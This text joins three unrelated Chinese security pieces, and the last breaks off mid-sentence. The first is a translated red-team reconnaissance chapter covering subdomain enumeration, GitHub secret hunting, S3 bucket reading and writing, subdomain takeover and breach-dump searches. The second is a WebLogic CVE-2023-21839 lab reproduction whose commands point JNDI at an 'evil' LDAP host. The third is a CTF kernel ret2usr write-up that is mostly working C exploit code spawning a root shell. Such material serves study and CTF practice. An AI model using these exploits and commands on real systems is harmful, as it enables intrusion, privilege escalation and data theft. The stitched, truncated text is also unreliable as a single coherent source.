本书中的实验是选修的。在某些部分中,我添加了一些实验方便你进行测试或者扩展更多的领域。这都是基于读者的个人兴趣的,如果对某方面感兴趣,我强烈推荐你花时间改进我们的工具,并与社区共享它。<br> 建立一个更好的网络 diff 扫描器: - 构建一个比默认的 nmap 更好的端口列表(例如,nmap 默认的漏掉一些端口,比如 Redis 6379/6380 和其他端口) - 实现 nmap banner - 保持对端口的历史跟踪 - 建立电子邮件提醒/通知系统 - 参考 [diff Slack 警报](http://bit.ly/2H1o5AW) ### Web 应用程序监控 除了定期扫描开放的端口和服务之外,红队还应该监视不同的 Web 应用程序,这一点很重要。我们可以使用以下两个工具来帮助监视应用程序的变化。 我们常用的第一个工具是 [HTTPScreenshot](https://github.com/breenmachine/httpscreenshot) 。HTTPScreenshot 很强大的原因是它使用 Masscan 快速扫描大型网络,并使用 phantomjs 捕捉它检测到的任何网站的屏幕截图。这是快速获得大的内网或外网布局架构的一个好方法。 请记住,本书中的所有工具都是在上一版改进的 Kali 虚拟机中运行的。你可以在[这里](https://securepla.net/training/)找到虚拟机。 用户名密码是默认的:root/toor。 - cd /opt/httpscreenshot/ - 编辑 networks.txt 文件来选择你想扫描的网络: - gedit networks.txt - ./masshttp.sh - firefox clusters.html <img src="../images/chapter_2/2-3.PNG" width = "400" height = "300" alt="图片名称" align=center /> 另一个可以用到的工具是 [Eyewitness](https://github.com/ChrisTruncer/EyeWitness)。 Eyewitness 是另一个很好的工具,它用 XML 文件的方式输出 nmap 的扫描结果、获取到的 Web 页面截图、RDP 服务器信息以及 VNC 服务器信息,。 > **实验**:<br> > >- cd /opt/EyeWitness >- nmap [IP Range]/24 —open -p 80,443 -oX scan.xml >- python ./EyeWitness.py -x scan.xml —web ><img src="../images/chapter_2/2-4.PNG" width = "400" height = "400" alt="图片名称" align=center /> ### 云扫描 随着越来越多的公司转向使用不同的云基础设施,一些围绕云服务的新型攻击和传统攻击逐渐形成。这通常是由于公司错误的配置和缺乏对云基础设施上公共条款的确切了解。无论是选择亚马逊 EC2、Azure、谷歌云还是其他云服务提供商,使用不同的云基础设施都已成为一种全球趋势。 对于红队队员来说,一个问题是如何在不同的云环境中进行探索。由于许多目标公司使用动态 IP,他们的服务器可能不仅变化很快,而且也不在云提供商的某个列表中列出。例如,如果你使用 AWS,它们在全世界范围内拥有巨大的范围。根据你选择的区域,你的服务器将随机放入一个大的范围。对于外人来说,发现并监控这些服务器并不容易。 首先,很重要的一点是要弄清楚不同提供者拥有的 IP 范围。其中一些例子是: - [Amazon IP 范围](http://bit.ly/2vUSjED) - [Azure IP 范围](http://bit.ly/2r7rHeR) - [谷歌云 IP 范围](https://cloud.google.com/compute/docs/faq#find_ip_range) 可以看出,这些范围非常大,手动扫描非常困难。在本章中,我们将讨论如何获取这些云系统上的信息。 ### 网络和服务的搜索引擎 要寻找云服务器,互联网上有很多免费的资源,可以对我们的目标进行侦察。我们可以使用谷歌和第三方扫描服务。使用这些资源,我们可以深入了解一家公司,顺利地查找关于服务器、开放服务、banner 和其他细节的信息。而目标公司永远不会知道你通过查询获取了这类信息。让我们看看如何作为红队使用这些资源。 #### Shodan [Shodan](https://www.shodan.io) 是一个伟大的网络服务,它定期扫描互联网,抓取 banners、端口、网络信息等等。他们甚至会扫描到漏洞信息,如心脏滴血漏洞。Shodan 最有趣的用途之一是浏览开放式网络摄像头并使用它们。从红队的角度来看,我们想要找到关于目标受害者的信息。 一些基本的搜索查询: - title: 搜索从 HTML 标记中提取的内容 - html: 搜索返回页面的完整 HTML 内容 - product: 搜索 banner 中标识的软件或产品的名称 - net: 搜索一个指定的网段(例如:204.51.94.79/18) 我们可以在 Shodan 上搜索 cyberspacekittens 网站: - cyberspacekittens.com - 使用 HTML 的 title 标签进行搜索 - title:cyberspacekittens - 搜索页面内容 - html:cyberspacekittens.com 请注意,我观察到 Shodan 的扫描有点慢。Shodan 花了超过一个月的时间才扫描完我添加的扫描任务,并将扫瞄结果放入 Shodan 数据库。 #### Censys.io [Censys.io](https://censys.io/) 持续监控 Internet 上的每一台可访问的服务器和设备,以便你可以实时搜索和分析它们。通过 Censys 你能够了解你的网络攻击面,发现新的威胁,并评估其全球影响。 Censys 的最佳特性之一是它从 SSL 证书中提取信息。通常,红队队员的主要困难之一是找到目标服务器在云服务器上的位置。幸运的是,我们可以使用 Censys.io 来查找这些信息,因为他们已经解析了这些数据 这些扫描的一个问题是它们可能会延迟几天或几周。在这种情况下,需要用一天的时间来扫描标题信息。另外,在我的站点上创建 SSL 证书之后,信息在 Censys.io 站点上显示花费了四天时间。但是在数据准确性方面,Censys.io 相当可靠。 下面,我们通过扫描找到目标网站 cyberspacekittens.com 的信息。通过解析服务器的 SSL 证书,我们能够确定受害者的服务器托管在 AWS 上。<br> <img src="../images/chapter_2/2-5.PNG" width = "500" height = "300" alt="图片名称" align=center /><br> 还有一个 [Censys脚本工具](https://github.com/christophetd/censys-subdomain-finder),可以通过脚本的方式来进行查询。 ### 手动解析 SSL 证书 我们发现,很多公司没有意识到他们在互联网上暴露的东西。特别是随着云服务使用量的增加,许多公司没有正确地配置安全的访问控制列表。他们相信他们的服务器是受保护的,但我们可以发现他们是暴露在互联网上的。包括 Redis 数据库、Jenkin 服务器、Tomcat 管理、NoSQL 数据库等等——其中许多可以导致远程代码执行以致利益损失。 找到这些云服务器的轻松而又不为人知的方法是在网络上以自动化的方式手动扫描 SSL 证书。我们可以获取云服务提供商的 IP 范围列表,并定期扫描所有这些列表以提取 SSL 证书。通过查看 SSL 证书,我们可以了解有关目标公司的大量信息。从下面对 cyberspacekittens 范围的扫描中,我们可以看到 .int 证书中的主机名。对于内部服务器,.dev. 用于开发, vpn.用于 VPN 服务器等。很多时候你会在结果中看到一些没有对应公网 IP 的内部主机名或者一些他们内部信任的白名单网段。 为了帮助扫描证书中的主机名,我为本书开发了 **sslScrape**。这个工具利用 Masscan 快速扫描大型网络。一旦它识别到443端口的服务,它就会在 SSL 证书中提取主机名。 [sslScrape](https://github.com/cheetz/sslScrape) - cd /opt/sslScrape - python ./sslScrape.py [IP 地址 CIDR 范围] <img src="../images/chapter_2/2-6.PNG" width = "430" height = "300" alt="图片名称" align=center /><br> <img src="../images/chapter_2/2-7.PNG" width = "350" height = "450" alt="图片名称" align=center /><br> 云 IP 地址的例子: - Amazon: http://bit.ly/2vUSjED - Azure: http://bit.ly/2r7rHeR - Google Cloud: http://bit.ly/2HAsZFm 在本书中,我会尝试提供一些代码示例和一个初步的程序框架。然而,是否在示例和初始框架的基础上进一步学习这取决于你自己。我强烈建议你从这段代码(也就是 sslScrape 的源码)开始,试着将所有获得的主机名保存到一个数据库里,再做一个 Web UI 前端作为展示页面。然后去连接其他可能有证书的端口,比如 8443 端口,这样可以从证书中获取主机的信息。甚至可以加上扫描 .git 或者 .svn 等源码信息泄露的功能。 > 译者注: .git/.svn 源码信息泄露,可以参考:https://www.secpulse.com/archives/55286.html 进行理解。 ### 子域名发现 在识别 IP 范围方面,我们通常可以从区域互联网注册管理机构这样的公共资源来查找某个公司。比如美洲互联网号码注册管理机构(American Registry for Internet Numbers,ARIN)管理北美和部分加勒比地区事务,网址为 https://www.arin.net/ 。我们可以查找 IP 地址的拥有者、某个公司的网络、组织的自治系统编号等等。如果我们要看北美以外的地区,我们可以通过 AFRINIC(非洲)、APNIC(亚洲)、LACNIC(拉丁美洲)和 RIPE NCC(欧洲)查找。这些都是公开可用的,并在其服务器上列出。 你可以通过许多可用的公共源查找任何主机名或 FQDN 以找到该域的所有者(我最喜欢的快速查找域名所有者的网站是 https://centralops.net/co/domaindossier.aspx )。但是子域名就很难搜集。因为子域名并不是在某些公开注册系统上集中注册的,而是存储在目标的 DNS 服务器上。你必须知道要怎样搜索才能找到有效的子域名。 为什么子域名对于你的攻击目标如此重要?有几个原因: - 一些子域可以表明它是什么类型的服务器(即 dev、vpn、mail、internal、test)。例如, mail.cyberspacekittens.com。 - 一些网站服务器无法通过 IP 去访问,也就是多个服务器共享一个出口 IP 的情况。这些服务器可能位于共享的基础设施上(比如 virtual host),如果你要访问这些网站,就只能通过域名去访问。这样的情况在云基础架构中非常常见。这种情况下,如果你使用 nmap 扫描这个 IP,只能得到主机的端口开放信息,不能进一步获取更多的 Web 指纹,必须要使用对应的子域名来访问站点,然后使用类似于 WhatWeb 的工具来获得 Web 指纹。 - 收集子域名可以获得目标在哪托管他们服务器的信息。这是通过找出目标全部子域名、针对子域名反向查询 IP 以及查询托管 IP 的地方来完成。一家公司可能会使用多个云服务提供商和数据中心来托管他们的服务器。 在上一本书(The hacker playbook第二版)中我们讲了很多用于子域名收集的工具,因此让我们回顾一些当前仍然可用的工具的和一些新工具,来更好的进行子域名收集。欢迎扫描 cyberspacekittens.com 域名! #### Discover Scripts 上一本书里面谈论的 [Discover Scripts](https://github.com/leebaird/discover) 工具仍然是我最喜欢的子域名收集工具之一。因为它结合了Kali Linux 上的所有的子域名侦察工具,并定期进行维护更新。被动信息收集将利用下列所有的工具: `Passive uses ARIN`, `dnsrecon`, `goofile`, `goog-mail`, `goohost`, `theHarvester`, `Metasploit`, `URLCrazy`, `Whois`, `multiple websites` and `recon-ng`. ```shell git clone https://github.com/leebaird/discover /opt/discover/ /cd /opt/discover/ /./update.sh. /discover.sh Domain Passive [Company Name] [Domain Name] firefox /root/data/[Domain]/index.htm ``` Discover Scripts 最棒的地方在于,它基于已收集到的信息滚雪球式搜索。 例如,通过对公开的 PGP 仓库进行搜索,它可能会识别电子邮件,然后使用这些信息继续在 [Have I Been Pwned 网站](https://haveibeenpwned.com/)进行搜索(通过 Recon-NG 工具)。这将让我们知道是否可以通过公开发布的数据泄露危害找到一些泄露出的密码。 #### KNOCK 接下来,我们希望了解公司可能使用的所有服务器和域名。尽管没有存储子域的中心位置,但我们可以使用 Knock 等工具暴力破解不同的子域名,来识别哪些服务器或主机可以攻击。 Knockpy 是一个 python 工具,它通过一个 wordlist 来枚举目标域中的子域名。 Knock 是一个很好的子域名扫描工具,它生成一个子域名列表,并检查这些生成的子域名是否可以解析。因此,如果你想扫描 cyberspacekittens.com, Knock 将使用 [此 wordlist](http://bit.ly/2JOkUyj),并查看 [subdomain].cyberspacekittens.com 是否有任何子域。在此要注意的一点是,更好的 wordlist 会增加找到子域名的机会。 我最喜欢的一个子域名字典是由 jhaddix 创建的([点此查看](http://bit.ly/2qwxrxB))。子域名字典是你应该持续收集的东西之一。其他一些好的子域名字典可以在你的 THP Kali 镜像的 /opt/SecLists 文件夹下找到或者在 [这里](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) 找到。 > 译者注:The Hacker Playbook Kali 镜像在本书的第一章的【本章总结】里面有介绍,是本书作者专门针对于本书中的实验创建的基于 Kali Linux 并且添加了所有工具的完整版虚拟机([点此获取](http://thehackerplaybook.com/get.php?type=THP-vm))。 **实验:**<br> 搜集 cyberspacekittens.com 的所有子域名。 - cd /opt/knock/knockpy - python ./knockpy.py cyberspacekittens.com - 这将使用 Knock 中内置的基础子域名字典。尝试下载并使用更大的子域名字典。使用`-u`参数切换到 http://bit.ly/2qwxrxB 字典。即: ```shell python ./knockpy.py cyberspacekittens.com -w all.txt ``` 你从 Discover Scripts 中发现了哪些类型的差异?什么类型的域将是你的第一个攻击目标,或与钓鱼式域攻击一起使用?去现实世界试试吧!去找一个 bug 赏金程序,并寻找丰富的子域。 #### Sublist3r 正如前面提到的,Knock 的问题是,它严重的依赖字典的质量。有些公司有非常独特的子域名,无法通过通用的子域名字典找到。下一个最好的资源是搜索引擎。当网站被爬虫爬行时,带有链接的文件会被分析并被收集到公开的资源,这意味着我们可以使用搜索引擎为我们做子域名收集的工作。 在这种情况下,我们可以借助 Sublist3r 这样的工具。注意,这种工具使用不同的 “google dork” 风格的查询语句进行搜索,容易被谷歌人机检查识别成机器人。这可能会使你暂时被列入黑名单,并要求你为每个请求填写验证码,这可能会限制扫描的结果。 运行 Sublist3r: > 译者注:原书这里存在笔误,作者写成了 To run **Sublister**,但实际上应该是 To run **Sublist3r**. - cd /opt/Sublist3r - python sublist3r.py -d cyberspacekittens.com -o cyberspacekittens.com 看看 Sublist3r 跑出来的结果,跟用子域名暴力破解出的结果对比一下,是不是有一些之前没发现的?同样的,再次针对一个 bug 赏金项目尝试 Sublist3r 方法来收集子域名,对比感受暴力破解和使用搜索引擎之间的显著区别。 *Sublist3r 有一个分支版本,这个分支版本包含额外的特性(特别是子域名劫持的检查):* https://github.com/Plazmaz/Sublist3r #### SubBrute 最后一个要介绍的子域名收集工具是 [SubBrute](https://github.com/TheRook/subbrute)。SubBrute 是一个社区项目,目标是创建最快、最准确的子域枚举工具。SubBrute 背后的神奇之处在于,它使用开放的解析器作为代理来绕过 DNS 速率限制( https://www.us-cert.gov/ncas/alerts/TA13-088A )。这种设计还提供了一层匿名性,因为 SubBrute 不直接向目标的域名服务器发送流量。 SubBrute 不仅速度非常快,它还执行 DNS 爬虫功能,爬取枚举的 DNS 记录。 运行 SubBrute: ```shell cd /opt/subbrute ./subbrute.py cyberspacekittens.com ``` 我们还可以将 SubBrute 的性能提升一下,将其与 [MassDNS](http://bit.ly/2EMKIHg) 结合,以执行非常高性能的 DNS 解析。 ### Github Github 是一个有惊人数据的宝库。在一些渗透测试和红队评估中,我们能够获得密码,API 密钥,旧的源代码,内部主机名/ IPs 以及更多。这些要么导致直接攻击沦陷,要么帮助发动另一场攻击。我们看到的是,许多开发人员要么将代码保存到错误的仓库(将其发送到他们的公开仓库而不是公司的私有仓库),要么意外地保存敏感数据(如密码),然后试图删除它。Github 的一个优点是,它可以在每次修改或删除代码时进行记录。这意味着如果有一次将敏感数据保存到仓库中,那么即使删除了该敏感数据,那么它仍然会在数据更改中被记录。只要仓库是公开的,你就能够查看所有这些更改。 我们可以使用 Github 搜索来识别某些主机名/组织名,或者甚至仅仅使用简单的 Google Dork 搜索,例如: - site:github.com + “cyberspacekittens” 尝试使用不同的方法搜索 bug 赏金程序,而不是仅仅搜索 cyberspacekittens。 通过你所有的搜索,你会遇到: https://github.com/cyberspacekittens/dnscat2 (为 GitHub 实验准备的修改过的示例)。你可以手动检索这个仓库,但通常它非常大,你很难遍历所有的项目来找到一些有趣的东西。 如前所述,当你在 Github 中编辑或删除文件时,一切都会被跟踪记录。对于红队队员来说,幸运的是,许多人忘记了这个特性。因此,我们经常看到人们把敏感信息放到 Github 中,然后删除,却没有意识到它还在那里!让我们看看能不能找到这些珍宝。 #### Truffle Hog Truffle Hog工具会扫描不同的提交历史记录和分支来获取高机密的密钥,并输出它们。这对于查找机密数据、密码、密钥等非常有用。让我们看看能否在 cyberspacekittens 的 Github 仓库中找到一些敏感的数据。 **实验:** - cd /opt/trufflehog/truffleHog - python truffleHog.py https://github.com/cyberspacekittens/dnscat2 ![](../images/chapter_2/2-8.PNG) 正如我们在 commit 历史记录中看到的,AWS 密钥和 SSH 密钥被从 server/controller/csk.config 文件中删除了。但是如果查看[当前仓库](https://github.com/cheetz/dnscat2/tree/master/server/controller),你找不到这个文件。 更好的设置(但是设置起来有点复杂)是 [git-all-secrets](https://github.com/anshumanbh/git-all-secrets)。在查看大型项目时,Git-all-secrets 非常有用。你只需指定某个项目并在本地克隆该项目代码,然后使用 Truffle-hog 和 repo-supervisor 扫描它。在此之前你需要创建一个 Github 访问令牌,令牌是免费的,通过创建一个 Github 并在设置中选择 Generate New Token 选项来生成。 运行 git-all-secrets: - cd /opt/git-all-secrets - docker run -it abhartiya/tools_gitallsecrets:v3 -repoURL=https://github.com/cyberspacekittens/dnscat2 -token=[API Key] - output=results.txt - 这将克隆仓库并开始扫描。你甚至可以使用`-org`参数跑完该组织在 Github 上的所有内容。 - 容器(container)运行完成后,输入以下命令检索容器 ID: ```shell docker ps -a ``` - 有了容器 ID 后,就可以输入以下命令将结果文件从容器(container)发送到主机: ```shell docker cp <container-id>:/data/results.txt ./results.txt ``` ### Cloud 正如我们前面所说的,cloud 是我们看到的许多公司有不安全环境配置的一个领域。最常见的一些问题是: - Amazon S3 Missing Buckets: https://hackerone.com/reports/121461 - Amazon S3 Bucket Permissions: https://hackerone.com/reports/128088 - Being able to list and write files to public AWS buckets: - aws s3 ls s3://[bucketname] - aws s3 mv test.txt s3://[bucketname] - Lack of Logging 在开始测试不同的 AWS 存储桶上的错误配置之前,我们需要首先发现它们。我们将尝试一些不同的工具,看看我们能在受害者的 AWS 基础设施上发现什么。 #### S3 Bucket Enumeration([S3 存储桶](https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/dev/UsingBucket.html) 枚举) 有许多工具可以为 AWS 执行 S3 bucket 枚举 。这些工具通常利用关键字或列表,应用多种排列,然后尝试去发现不同的 bucket。例如,我们可以使用一个名为 [Slurp](https://github.com/bbb31/slurp) 的工具来查找关于目标 CyberSpaceKittens 的信息: - cd /opt/slurp - ./slurp domain -t cyberspacekittens.com - ./slurp keyword -t cyberspacekittens ![](../images/chapter_2/2-9.PNG) #### Bucket Finder 另一个工具 Bucket Finder 不仅会尝试查找不同的 bucket,还会从这些 bucket 中下载所有的内容进行分析: - wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2 - cd /opt/bucket_finder - ./bucket_finder.rb —region us my_words —download ![](../images/chapter_2/2-10.PNG) 你一直在基于 Cyber Space Kittens 的基础设施进行搜寻,并发现了他们的一个 S3 bucket( cyberspacekittens.s3.amazonaws.com )。在 S3 bucket 中检索可见的和不可见的内容时,你的第一步要做什么呢?你可以首先把它弹到浏览器中来看一些信息: ![](../images/chapter_2/2-11.PNG) 在开始之前,我们需要创建一个 AWS 帐户来获得一个访问密钥 ID。你可以在 Amazon [免费创建你的帐户](https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/)。创建帐户后,登录 AWS,转到你的[安全凭据](https://amzn.to/2ItaySR),然后转到访问密钥。一旦你有了 AWS Access ID 和密钥,我们就可以查询 S3 bucket 了。 查询 S3 并下载一切内容: - 下载 awscli: - sudo apt install awscli - 配置凭证: - aws configure - 查看 CyberSpaceKittens 的 S3 bucket 的权限: - aws s3api get-bucket-acl --bucket cyberspacekittens - 从 S3 Bucket 中读取文件: - aws s3 ls s3://cyberspacekittens - 下载存在 S3 Bucket 中的所有内容: - aws s3 sync s3://cyberspacekittens 除了查询 S3 之外,接下来要测试的是写入该 bucket。如果我们有写的权限,可能就可以对它们的应用程序完成 RCE(远程命令执行)。我们经常看到,当 S3 bucket 上存储的文件被用于它们的所有页面时(并且如果我们可以修改这些文件),那么我们就可以将恶意代码放到它们的 Web 应用服务器上。 写入 S3: ```shell echo “test” > test.txt aws s3 mv test.txt s3://cyberspacekittens aws s3 ls s3://cyberspacekittens ``` ![](../images/chapter_2/2-12.PNG) *注意,write 已被从 Everyone 组中删除。这只是为了示范。* #### 修改 AWS Buckets 中的访问控制 在分析 AWS 的安全性时,我们需要检查关于对象和 bucket 的权限控制。对象是单独的文件,bucket 是存储的逻辑单元。如果配置不正确,任何用户都可能修改这些权限。 首先,我们可以查看每个对象来判断这些权限是否配置正确: - aws s3api get-object-acl —bucket cyberspacekittens —key ignore.txt 我们可以看到只有一个名叫 “secure” 的用户对该文件有写的权限。文件不是对所有人开放的。如果我们有写的权限,就可以使用 s3api 中的`put对象`来修改该文件。 接下来,我们看看是否可以修改这些 bucket 本身。这可以通过以下命令来完成: - aws s3api get-bucket-acl —bucket cyberspacekittens ![](../images/chapter_2/2-13.PNG) 同样,在这两种情况下,读权限都是全局允许的,但是完全控制或任何写入的权限只有名为 “secure” 的帐户才有。如果我们可以进入 bucket,那么我们可以使用`—grant-full-control`来赋予我们自己对 bucket 和对象的完全控制权限。 资源: - https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-your-assets/ #### 子域名劫持 子域名劫持是一个常见的漏洞,如今我们几乎可以从每一个公司看到这个漏洞。如果一个公司使用用一些第三方 CMS/内容/云提供商,并将它们的子域名指向这些平台,那么就有可能发生子域名劫持漏洞。如果公司忘记配置第三方服务或从该服务器注销,攻击者就可以使用第三方来劫持该主机名。 举个例子,你使用 testlab.s3.amazonaws.com 这个域名注册了一个 S3 Amazon Bucket。然后,你让你公司的子域名 testlab.company.com 指向了 testlab.s3.amazonaws.com。一年后,你不再需要 testlab.s3.amazonaws.com 这个 S3 bucket 并注销了它,但是忘记了 testlab.company.com 的 CNAME 重定向。现在,一些人可以去 AWS 搭建 testlab.s3.amazon.com,并在受害者的域中有一个有效的 S3 bucket。 一个检查子域名漏洞的工具叫做`tko-subs`。我们可以用这个工具来检查是否有任何我们找到的子域名指向了一个 CMS 提供商(Heroku, Github, Shopify, Amazon S3, Amazon CloudFront 等),这样该子域名可能可以被劫持。 运行 tko-subs: ```shell cd /opt/tko-subs/ ./tkosubs -domains=list.txt -data=providers-data.csv -output=output.csv ``` 如果我们找到了一个`悬挂记录`,我们可以使用 tko-subs 来劫持 Github 页面和 Heroku 应用程序。否则,我们将不得不手工操作。 > 译者注: dagling CNAME, 即为 dangling DNS record,简称 Dare, 一般翻译为`悬挂记录`。这类 DNS 记录指向的资源无效,但记录本身尚未从 DNS 清除,攻击者可以借此实现 DNS 劫持。 > 拓展阅读:[Understanding the Security Threats of Dangling DNS Records](https://zhuanlan.zhihu.com/p/30786805) 另外两个可以帮助域名劫持的工具是: - [HostileSubBruteforcer](https://github.com/nahamsec/HostileSubBruteforcer) - [autoSubTakeover](https://github.com/JordyZomer/autoSubTakeover) 想了解更多关于AWS漏洞的信息吗?一个很棒的的 CTF AWS 演练 -> http://flaws.cloud/ ### 电子邮件 所有的社会工程学攻击的一个重要部分都是查找 email 地址和员工姓名。我们在前几节中使用了 Discover Script 工具,它非常适合用来收集这些数据。我个人通常从 Discover Script 开始,并用其他工具进行深入挖掘。每种工具的功能略有不同,尽可能多地使用自动化流程是有益的。 一旦你得到了一个小的 email 列表,最好去了解他们的 email 格式。是`名.姓氏@cyberspacekitten.com`这样的格式吗?还是`名的第一个字母.姓氏@cyberspacekittens.com`这样的?一旦你弄清楚了他们的格式,我们就可以使用像 LinkedIn 这样的工具来寻找更多的员工,并尝试找到他们的 email 地址。 #### SimplyEmail 我们都知道[鱼叉式网络钓鱼](https://searchsecurity.techtarget.com.cn/whatis/11-25390/)仍然是比较成功的攻击手段之一。如果我们没有找到任何外部漏洞,那么下一步就是攻击用户。要建立一个好的 email 地址列表,我们可以使用像 SimplyEmail 这样的工具。此工具的作用是可以输出公司的 email 地址格式和有效用户列表。 **实验**:<br> 找出 cnn.com 的所有 email 帐户。 - cd /opt/SimplyEmail - ./SimplyEmail.py -all -v -e cyberspacekittens.com - firefox cyberspacekittens.com<date_time>/Email_List.html 这可能需要很长时间来运行,因为它检查 Bing、Yahoo、Google、Ask Search、PGP 仓库、文件等等。这也可能让你的网络被搜索引擎们识别成机器人。并且如果你产生了太多的搜索请求,那么可能需要填写验证码。 ![](../images/chapter_2/2-14.PNG) 针对你自己的公司进行此操作。你看到任何你可以识别的 email 地址了吗?这可能是可以在一个大规模红队活动中被设为靶子的第一个 email 地址。 #### 过去的违规行为(email 信息泄露) 获取 email 帐户的最佳方法之一是持续监控和捕捉过去的违规行为。我不想直接链接到违规文件,但我给出一些我认为有用的参考: - 1.4 亿密码泄露(2017年): https://thehackernews.com/2017/12/data-breach-password-list.html - Adobe 信息泄露(2013年): https://nakedsecurity.sophos.com/2013/11/04/anatomy-of-a-password-disaster-adobes-giant-sized-cryptographic-blunder/ - Pastebin Dumps: http://psbdmp.ws/ - Exploit.In Dump - Pastebin 的 Google Dork: site:pastebin.com intext:cyberspacekittens.com ## 额外的开源资源 我不知道该把这些资源放在哪里,但我想提供一个用于红队活动的额外的优秀资源集合。它可以帮助识别人、位置、域名信息、社交媒体、图像分析等。 - OSINT 链接合集: https://github.com/IVMachiavelli/OSINT_Team_Links - OSINT 框架: http://osintframework.com/ >译者注: 公开资源情报计划(Open source intelligence),简称`OSINT`,是美国中央情报局(CIA)的一种情报搜集手段,从各种公开的信息资源中寻找和获取有价值的情报。 ## 本章总结 在这一章中,我们学习了各种不同的侦察战术和侦察工具。这只是一个开始,因为这些技术许多都是手工的,并且需要大量的时间来执行。这取决于你自己是否能提高自己的功力,自动化使用所有这些工具,并使侦察工作快速和高效。
sec-knowleage
# Weblogic未授权远程代码执行漏洞 (CVE-2023-21839) Oracle WebLogic Server是业界领先的应用程序服务器,用于使用Java EE标准构建企业应用程序,并以低拥有成本将其部署在可靠、可扩展的运行时。 在 [Oracle 2023年1月安全公告日](https://www.oracle.com/security-alerts/cpujan2023.html) 修复了这个漏洞。 CVE-2023-21839 允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致 RCE 漏洞 参考: - https://www.oracle.com/security-alerts/cpujan2023.html ## 环境设置 执行以下命令启动 Weblogic server 12.2.1.3 ``` docker compose up -d ``` 启动完成后访问`http://your-ip:7001/console`可以看到管理界面 ## 复现 https://github.com/4ra1n/CVE-2023-21839 ```shell cd cmd go build -o CVE-2023-21839 ./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil ``` Windows ```shell cd cmd go build -o CVE-2023-21839.exe CVE-2023-21839.exe -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil ``` DNS Log ```shell CVE-2023-21839.exe -ip 192.168.25.129 -port 7001 -ldap ldap://kmi896.dnslog.cn/test [*] your-ip: 192.168.25.129 [*] your-port: 7001 [*] your-ldap: ldap://kmi896.dnslog.cn/test [*] weblogic 12 [*] id=2 LocateRequest [*] id=3 RebindRequest [*] id=4 RebindRequest [*] id=5 LocateRequest [*] id=6 ResolveRequest [*] id=7 ResolveRequest ``` ![](1.png)
sec-knowleage
# ret2usr(已过时) ## 概述 **在【未】开启SMAP/SMEP保护的情况下**,用户空间无法访问内核空间的数据,但是内核空间可以访问/执行用户空间的数据,因此 `ret2usr` 这种攻击手法应运而生——通过 kernel ROP 以内核的 ring 0 权限执行用户空间的代码以完成提权。 通常 CTF 中的 ret2usr 还是以执行```commit_creds(prepare_kernel_cred(NULL))```进行提权为主要的攻击手法,不过相比起构造冗长的ROP chain,ret2usr 只需我们要提前在用户态程序构造好对应的函数指针、获取相应函数地址后直接 ret 回到用户空间执行即可。 ✳ 对于开启了```SMAP/SMEP保护```的 kernel 而言,**内核空间尝试直接访问用户空间会引起 kernel panic**,我们将在下篇讲述其绕过方式。 ## 例题:2018 强网杯 - core 具体的这里就不再重复分析了,由于其未开启 smap/smep 保护,故可以考虑在**用户地址空间中构造好对应的函数指针后直接 ret2usr 以提权**,我们只需要将代码稍加修改即可。 ```C #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #define POP_RDI_RET 0xffffffff81000b2f #define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a #define POP_RDX_RET 0xffffffff810a0f49 #define POP_RCX_RET 0xffffffff81021e53 #define SWAPGS_POPFQ_RET 0xffffffff81a012da #define IRETQ 0xffffffff813eb448 size_t commit_creds = NULL, prepare_kernel_cred = NULL; size_t user_cs, user_ss, user_rflags, user_sp; void saveStatus() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); } void getRootPrivilige(void) { void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; int (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL)); } void getRootShell(void) { if(getuid()) { printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n"); exit(-1); } printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n"); system("/bin/sh"); } void coreRead(int fd, char * buf) { ioctl(fd, 0x6677889B, buf); } void setOffValue(int fd, size_t off) { ioctl(fd, 0x6677889C, off); } void coreCopyFunc(int fd, size_t nbytes) { ioctl(fd, 0x6677889A, nbytes); } int main(int argc, char ** argv) { printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n"); saveStatus(); int fd = open("/proc/core", 2); if(fd <0) { printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n"); exit(-1); } //get the addr FILE* sym_table_fd = fopen("/tmp/kallsyms", "r"); if(sym_table_fd < 0) { printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n"); exit(-1); } char buf[0x50], type[0x10]; size_t addr; while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf)) { if(prepare_kernel_cred && commit_creds) break; if(!commit_creds && !strcmp(buf, "commit_creds")) { commit_creds = addr; printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds); continue; } if(!strcmp(buf, "prepare_kernel_cred")) { prepare_kernel_cred = addr; printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred); continue; } } size_t offset = commit_creds - 0xffffffff8109c8e0; // get the canary size_t canary; setOffValue(fd, 64); coreRead(fd, buf); canary = ((size_t *)buf)[0]; //construct the ropchain size_t rop_chain[0x100], i = 0; for(; i < 10;i++) rop_chain[i] = canary; rop_chain[i++] = (size_t)getRootPrivilige; rop_chain[i++] = SWAPGS_POPFQ_RET + offset; rop_chain[i++] = 0; rop_chain[i++] = IRETQ + offset; rop_chain[i++] = (size_t)getRootShell; rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp; rop_chain[i++] = user_ss; write(fd, rop_chain, 0x800); coreCopyFunc(fd, 0xffffffffffff0000 | (0x100)); } ``` 比较一下和常规 ROP 做法的异同。 1. 通过读取 